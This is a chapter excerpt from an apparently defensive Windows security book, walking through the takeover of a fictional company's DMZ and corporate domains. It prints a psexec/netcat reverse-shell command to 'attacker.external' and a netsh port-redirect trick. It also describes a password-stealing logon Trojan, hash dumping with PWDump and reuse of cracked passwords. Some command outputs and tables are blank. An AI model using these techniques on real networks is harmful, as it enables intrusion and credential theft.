Home > Articles > Operating Systems, Server > Microsoft Servers

  • Print
  • + Share This
This chapter is from the book

Taking Over the Domain

Now we need to get down to the business of taking over the DMZ domain. Recall that so far we own the database server and the Web server, everything except the domain controller in fact. However, what have we really gained with the Web server? To find out, we need to start by uploading our tools to it and then get a remote command shell on that system just like we did on the database server. It is just a bit simpler now that we have an administrative SMB connection to the Web server. For example, we can now schedule a command or run a remote command utility to upload our warez to the Web server and execute them there. After we have done that, we run Netcat and pop back a remote shell to our attacker host just like we did with the Web server. We start by opening up a Netcat listener on port 12346 on the attacker host. Then we use System Internals excellent psexec tool to upload our warez to the Web server and execute our remote command:

C:\warez\psexec \\pyn-web -d c:\warez\nc -v -e cmd.exe attacker.external 12346

This will generate a remove command shell from the Web server on our attacker, just like from the Web server.

The observant reader may have noticed by now that so far, if you do not count a very graphically deficient Web site, we have not seen so much as a dialog box. Frankly, many attackers (ourselves included) prefer working with a command line because it is often more efficient for attacks However, with two machines compromised, the attacker may also access a graphical user interface (GUI), but will have to resort to some trickery to do so.

The most obvious GUI connection is to use Windows Terminal Services (RDP). RDP listens on port 3389. A port scan of the database server reveals that it also has Terminal Services running:

Port open
Port open
Port open
Port open
Port open

The problem is that we cannot just rebind Terminal Services to use that port. If we were to do that, it would be highly noticeable. Stealth is critical to attackers, so we have to do something else. That something else is a port redirector.

Recall that we only had two ports open on the firewall, 80 and 443. Also remember that there was nothing listening on port 443 on the Web server. If we needed to open a listener somewhere, that would be a great port to use. If only required ports are open in the firewall, the attacker would have to disrupt an existing service, however briefly, to set up a listener. However, if there are unused ports open in the firewall, we can set up a port redirector without disrupting operations and risk tipping off the legitimate administrators.

A port redirector takes traffic coming in on one port and directs it to another host on another port. In other words, we can set up a port redirector on the Web server that will take incoming traffic on port 443 and send it out to port 3389 on the database server. Breaking with the tradition of not shipping attack tools with the OS, Microsoft now ships a port redirector with IPv6:

C:\warez>netsh interface portproxy add v4tov4 listenport=443 connectaddress=PYN-SQL connectport=3389

If IPv6 is installed, the netsh tool is extended to include a port proxy. This functionality is designed to map an IPv6 port to an IPv4 port (more correctly, a transport layer port on top of IPv6 to another transport layer port on IPv4) to enable IPv6 traversal on IPv4 networks.

If the compromised host does not have IPv6, the attacker would either need to install it or use a custom attack tool. Since the Web server has IPv6 in this case, however, we can use the built-in functionality. With that socket open, all we do is establish to the Web server connection using our ordinary Terminal Services client. Note that we tell the client to connect to the Web server, not to the database server. The port redirector takes care of forwarding our traffic to the database server.

mstsc /v:www.victimsrus.com:443

The result is easy to see in Figure 2-6. We can now log on with our _IDS user account. Once there, we have the full power of a GUI.


Figure 2-6 Obtaining a graphical shell is possible through a poorly configured firewall.

Going back to the Web server for a moment, we still do not know who the administrators are on that server because dumpinfo would not tell us. We can use the built-in tools to find out:

C:\warez>net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain


PYN-DMZ\Domain Admins
The command completed successfully.

This is actually highly interesting. There are not many accounts here. We only see the service account we have already found, the local Administrator, and the Domain Admins. That probably means that when they need to administer the system, the administrators use an account in the Domain Admins group. That is really good to know, because it opens the possibility of using a Trojan horse program to make one of those users take over the domain for us.

Generally speaking, an attacker would rather use a direct attack because they give faster results. However, if all else fails, we will resort to a passive attack to accomplish our goal. A Trojan is one form of such an attack, and in this case, we are going to turn the logon process into a Trojan.

To do so, we use yet another custom tool. We will register it on the Web server ( from our Terminal Services connection on the database server and set it up to notify our attacker,, as shown in Figure 2-7.


Figure 2-7 Registering a Trojan horse.

The Trojan is self-registering and installs itself in a couple of places. First, it installs a "credential manager." A credential manager may be legitimately used to connect to other systems using the credentials you logged on to this system with. Because it receives cleartext credentials to do this, it may be illegitimately used to capture cleartext passwords any time anyone logs on. Now consider this, what is the first thing the admin is likely to do if something seems amiss with a system? Far too often, the answer is "log on." As soon as that happens, the attacker gets this handy notification:

C:\ >nc -l -p 80
Station Name=WinSta0

In this case, the notification is going to the attacker host via port 80. We just set up Netcat on that host and told it to echo everything sent to it to the screen. This particular Trojan simply opens a socket to port 80 on the attacker's host and sends the notification to it. However, notifications could be encrypted, encoded, come over just about any port or protocol, and altered in myriad ways. Attackers often use Internet Relay Chat (IRC), for instance. We have also seen several Trojans that implement encryption of all notifications, although we have yet to see one that does a very good job on key exchange.

The Trojan also puts a link to itself in HKLM\Software\Microsoft\ Windows\CurrentVersion\Run. When it gets called, it determines whether the user logging on is a domain administrator. If so, the Trojan, which is now executing in the context of that user, creates a new user account on the domain and then adds that account to the Domain Admins group. (The credential manager runs as LocalSystem, and cannot perform this task, which is why this is done by the portion under the Run key instead.) If it was successful in creating the new user, it sends a notification to the attacker over the same notification channel used previously:

Succeeded in adding a user.
User: attacker$
Password: "Uare0wn3d!"
Domain: PYN-DMZ

Finally, the Trojan removes itself from the Run key to hide its tracks. All this happens while the administrator is logging on, and therefore is completely transparent to him.

Credential managers, as mentioned earlier, are used to connect transparently to other systems using the credentials you logged on to this system with. This is all part of that great panacea of system administration—single sign-on. However, if you change your password on this system, you also need to change it on the other system. Therefore, the credential manager can also synchronize passwords across systems, and it gets called on password change to do so. Now consider what the administrator would do if he suspected the system had been compromised and his password stolen? Changing the password seems like a good idea here, so he goes ahead and does that. The attacker now gets another notification:

Password Change
Station Name=WinSta0
Old Password="Test1234"
New Password="Test12345"

Do we need to state it any more clearly than this? Once the bad guy can run code as a domain administrator, your network ain't your network any longer. That network is now completely untrustworthy.

At this point, as shown in Figure 2-1c, the DMZ domain has fallen. We now have full access to the keeper of the keys to the kingdom. Those keys consist of, among other things, the user accounts database, which we will get to shortly, right after we pop back another remote command shell just like before.


Figure 2-1c The DMZ domain controller has now been compromised.

As soon as the attacker takes over a domain controller, the first act is usually to extract all user accounts and password hashes from the domain controller. Because we have administrative privileges, doing so is a simple matter of running the very popular PWDump tool. Doing so results in output such as this:


Full details on how to interpret this output are available in Chapter 11. For now, it is sufficient to know that Windows by default stores two different password representations: the LM "hash" (which is not actually a hash) and the NT hash. From this output, we can tell that this system stores the LM hashes. (For information on how, turn to Chapter 11.) This is good (bad?) news because it is so much easier to crack those. Feeding this output into our favorite password cracker, we soon get output as shown in Table 2-2.

Table 2-2. Password Cracker Output











0d 16h 52m 34s

Brute Force





0d 1h 16m 8s

Brute Force








0d 0h 0m 43s

Brute Force





0d 22h 36m 14s

Brute Force





0d 10h 41m 50s

Brute Force





0d 6h 18m 4s

Brute Force





0d 0h 0m 1s






0d 14h 30m 26s

Brute Force









0d 22h 56m 17s

Brute Force





0d 23h 56m 21s

Brute Force





0d 22h 39m 2s

Brute Force





0d 10h 41m 50s

Brute Force





0d 0h 0m 1s


As you can see from Table 2-2, within 24 hours we have cracked most of the passwords on this system; and these are not bad passwords! We cracked three in less than a minute. A real attacker may crack passwords even faster. Tools are available that trade off storage space for cracking speed, greatly decreasing crack time. For a full discussion, turn to Chapter 11.

While the crack is going on, we will continue with learning more about the network:

C:\warez>ipconfig /all

Windows IP Configuration

   Host Name      . . . . . . . . . . .: PYN-DMZ-DC
   Primary Dns Suffix     . . . . . . .: PYN-DMZ.LOCAL
   Node Type      . . . . . . . . . . .: Unknown
   IP Routing Enabled     . . . . . . .: Yes
   WINS Proxy Enabled     . . . . . . .: No
   DNS Suffix Search List     . . . . .: PYN-DMZ.LOCAL

Ethernet adapter CorpNet:

   Connection-specific DNS Suffix   . .
   Description      . . . . . . . . . .: Intel 21140-Based PCI Fast Ethernet Adapter(Generic) #2
   Physical Address     . . . . . . . .: 00-03-FF-06-3E-F0
   DHCP Enabled     . . . . . . . . . .: No
   IP Address       . . . . . . . . . .:
   Subnet Mask      . . . . . . . . . .:
   Default Gateway      . . . . . . . .:
   DNS Servers      . . . . . . . . . .:

Ethernet adapter DMZNet:

   Connection-specific DNS Suffix  . :
   Description      . . . . . . . . . .: Intel 21140-Based PCI Fast Ethernet Adapter (Generic)
   Physical Address     . . . . . . . .: 00-03-FF-07-3E-F0
   DHCP Enabled     . . . . . . . . . .: No
   IP Address       . . . . . . . . . .:
   Subnet Mask      . . . . . . . . . .:
   Default Gateway      . . . . . . . .:
   DNS Servers    . . . . . . . . . . .:

This output is extremely interesting. The DC is not only dual-homed, it is dual-homed on the corporate network and the DMZ. This is sometimes done in order to be able to use user accounts from one domain in another. Regardless of the reasons, the corporate network is the ultimate target, so the attack proceeds by footprinting that network:

C:\warez>discoverHosts 10.1.2
Reply from bytes=32 time<1ms TTL=128
Reply from bytes=32 time=54ms TTL=128

16 is obviously the data center DC, but 17 is a new host that we have not seen before. Using another anonymous enumeration tool, we can get some more information on it:

Domain: PYN
OS Version: 5.2

Server details:
Workstation service
Server service
Domain Controller
NTP Time source

17 is the domain controller we were looking for. We can tell that it is running Windows Server 2003, but not much else about it. Next we dump out the users:


The Administrator is:   PYN\Administrator

Users on PYN-CORPDC:
RID 1000        PYN\HelpServicesGroup   an Alias
RID 1001        PYN\SUPPORT_388945a0    a User
RID 1002        PYN\TelnetClients       an Alias
RID 1003        PYN\PYN-CORPDC$ a User
RID 1104        PYN\Aaron     a User
RID 1105        PYN\Billy     a User
RID 1106        PYN\Chuck    a User
RID 1107        PYN\Dylan      a User
RID 1108        PYN\Ellen     a User
RID 1109        PYN\Frank      a User
RID 1110        PYN\Tom     a User
RID 1111        PYN\Dick       a User
RID 1112        PYN\Harry       a User
RID 1113        PYN\Ingrid   a User
RID 1114        PYN\Jennifer    a User
RID 1115        PYN\Maggie   a User
RID 1116        PYN\Teddy   a User
RID 1117        PYN\Mike   a User
RID 1118        PYN\McKenzie   a User...

Share           Type         Comment
IPC$            Unknown      Remote IPC
NETLOGON        Disk         Logon server share
ADMIN$          Special      Remote Admin
SYSVOL          Disk         Logon server share
C$              Special      Default share

Unable to enumerate administrators
ERROR: Access Denied

This system has far more users than the other ones we have seen. (The output above has been truncated for brevity.) That is to be expected though, because this is the main corporate DC. We also find several users who also had accounts on the DMZ DC. In fact, there is one whose passwords we cracked in seconds. It is probably reasonable to expect that users who have administrative accounts in the DMZ also have administrative accounts in the corporate network, and the chances that they use the same password on both networks are usually really good. For these reasons, most attackers would probably just go try any duplicated accounts. So far the attack has been very stealthy, and if it does not work there will be a single failed logon, which is an acceptable risk in most cases.

C:\warez>net use \\pyn-corpdc\c$ /u:pyn\Mike "yosemiTe^"
The command completed successfully.

That's it. As shown in Figure 2-1d, this network has now been completely compromised!


Figure 2-1d The entire network has now been compromised.

At this point the attacker could take whatever action is desired. Potential options would be to scavenge the network for data, steal confidential information, add him or herself to the payroll, use the network to attack some other network such as a business partner, and so on. The attacker now has complete and unrestricted access to the entire victimsrus.com network.

  • + Share This
  • 🔖 Save To Your Account

InformIT Promotional Mailings & Special Offers

I would like to receive exclusive offers and hear about products from InformIT and its family of brands. I can unsubscribe at any time.


Pearson Education, Inc., 221 River Street, Hoboken, New Jersey 07030, (Pearson) presents this site to provide information about products and services that can be purchased through this site.

This privacy notice provides an overview of our commitment to privacy and describes how we collect, protect, use and share personal information collected through this site. Please note that other Pearson websites and online products and services have their own separate privacy policies.

Collection and Use of Information

To conduct business and deliver products and services, Pearson collects and uses personal information in several ways in connection with this site, including:

Questions and Inquiries

For inquiries and questions, we collect the inquiry or question, together with name, contact details (email address, phone number and mailing address) and any other additional information voluntarily submitted to us through a Contact Us form or an email. We use this information to address the inquiry and respond to the question.

Online Store

For orders and purchases placed through our online store on this site, we collect order details, name, institution name and address (if applicable), email address, phone number, shipping and billing addresses, credit/debit card information, shipping options and any instructions. We use this information to complete transactions, fulfill orders, communicate with individuals placing orders or visiting the online store, and for related purposes.


Pearson may offer opportunities to provide feedback or participate in surveys, including surveys evaluating Pearson products, services or sites. Participation is voluntary. Pearson collects information requested in the survey questions and uses the information to evaluate, support, maintain and improve products, services or sites, develop new products and services, conduct educational research and for other purposes specified in the survey.

Contests and Drawings

Occasionally, we may sponsor a contest or drawing. Participation is optional. Pearson collects name, contact information and other information specified on the entry form for the contest or drawing to conduct the contest or drawing. Pearson may collect additional personal information from the winners of a contest or drawing in order to award the prize and for tax reporting purposes, as required by law.


If you have elected to receive email newsletters or promotional mailings and special offers but want to unsubscribe, simply email information@informit.com.

Service Announcements

On rare occasions it is necessary to send out a strictly service related announcement. For instance, if our service is temporarily suspended for maintenance we might send users an email. Generally, users may not opt-out of these communications, though they can deactivate their account information. However, these communications are not promotional in nature.

Customer Service

We communicate with users on a regular basis to provide requested services and in regard to issues relating to their account we reply via email or phone in accordance with the users' wishes when a user submits their information through our Contact Us form.

Other Collection and Use of Information

Application and System Logs

Pearson automatically collects log data to help ensure the delivery, availability and security of this site. Log data may include technical information about how a user or visitor connected to this site, such as browser type, type of computer/device, operating system, internet service provider and IP address. We use this information for support purposes and to monitor the health of the site, identify problems, improve service, detect unauthorized access and fraudulent activity, prevent and respond to security incidents and appropriately scale computing resources.

Web Analytics

Pearson may use third party web trend analytical services, including Google Analytics, to collect visitor information, such as IP addresses, browser types, referring pages, pages visited and time spent on a particular site. While these analytical services collect and report information on an anonymous basis, they may use cookies to gather web trend information. The information gathered may enable Pearson (but not the third party web trend services) to link information with application and system log data. Pearson uses this information for system administration and to identify problems, improve service, detect unauthorized access and fraudulent activity, prevent and respond to security incidents, appropriately scale computing resources and otherwise support and deliver this site and its services.

Cookies and Related Technologies

This site uses cookies and similar technologies to personalize content, measure traffic patterns, control security, track use and access of information on this site, and provide interest-based messages and advertising. Users can manage and block the use of cookies through their browser. Disabling or blocking certain cookies may limit the functionality of this site.

Do Not Track

This site currently does not respond to Do Not Track signals.


Pearson uses appropriate physical, administrative and technical security measures to protect personal information from unauthorized access, use and disclosure.


This site is not directed to children under the age of 13.


Pearson may send or direct marketing communications to users, provided that

  • Pearson will not use personal information collected or processed as a K-12 school service provider for the purpose of directed or targeted advertising.
  • Such marketing is consistent with applicable law and Pearson's legal obligations.
  • Pearson will not knowingly direct or send marketing communications to an individual who has expressed a preference not to receive marketing.
  • Where required by applicable law, express or implied consent to marketing exists and has not been withdrawn.

Pearson may provide personal information to a third party service provider on a restricted basis to provide marketing solely on behalf of Pearson or an affiliate or customer for whom Pearson is a service provider. Marketing preferences may be changed at any time.

Correcting/Updating Personal Information

If a user's personally identifiable information changes (such as your postal address or email address), we provide a way to correct or update that user's personal data provided to us. This can be done on the Account page. If a user no longer desires our service and desires to delete his or her account, please contact us at customer-service@informit.com and we will process the deletion of a user's account.


Users can always make an informed choice as to whether they should proceed with certain services offered by InformIT. If you choose to remove yourself from our mailing list(s) simply visit the following page and uncheck any communication you no longer want to receive: www.informit.com/u.aspx.

Sale of Personal Information

Pearson does not rent or sell personal information in exchange for any payment of money.

While Pearson does not sell personal information, as defined in Nevada law, Nevada residents may email a request for no sale of their personal information to NevadaDesignatedRequest@pearson.com.

Supplemental Privacy Statement for California Residents

California residents should read our Supplemental privacy statement for California residents in conjunction with this Privacy Notice. The Supplemental privacy statement for California residents explains Pearson's commitment to comply with California law and applies to personal information of California residents collected in connection with this site and the Services.

Sharing and Disclosure

Pearson may disclose personal information, as follows:

  • As required by law.
  • With the consent of the individual (or their parent, if the individual is a minor)
  • In response to a subpoena, court order or legal process, to the extent permitted or required by law
  • To protect the security and safety of individuals, data, assets and systems, consistent with applicable law
  • In connection the sale, joint venture or other transfer of some or all of its company or assets, subject to the provisions of this Privacy Notice
  • To investigate or address actual or suspected fraud or other illegal activities
  • To exercise its legal rights, including enforcement of the Terms of Use for this site or another contract
  • To affiliated Pearson companies and other companies and organizations who perform work for Pearson and are obligated to protect the privacy of personal information consistent with this Privacy Notice
  • To a school, organization, company or government agency, where Pearson collects or processes the personal information in a school setting or on behalf of such organization, company or government agency.


This web site contains links to other sites. Please be aware that we are not responsible for the privacy practices of such other sites. We encourage our users to be aware when they leave our site and to read the privacy statements of each and every web site that collects Personal Information. This privacy statement applies solely to information collected by this web site.

Requests and Contact

Please contact us about this Privacy Notice or if you have any requests or questions relating to the privacy of your personal information.

Changes to this Privacy Notice

We may revise this Privacy Notice through an updated posting. We will identify the effective date of the revision in the posting. Often, updates are made to provide greater clarity or to comply with changes in regulatory requirements. If the updates involve material changes to the collection, protection, use or disclosure of Personal Information, Pearson will provide notice of the change through a conspicuous notice on this site or other appropriate way. Continued use of the site after the effective date of a posted revision evidences acceptance. Please contact us if you have questions or concerns about the Privacy Notice or any objection to any revisions.

Last Update: November 17, 2020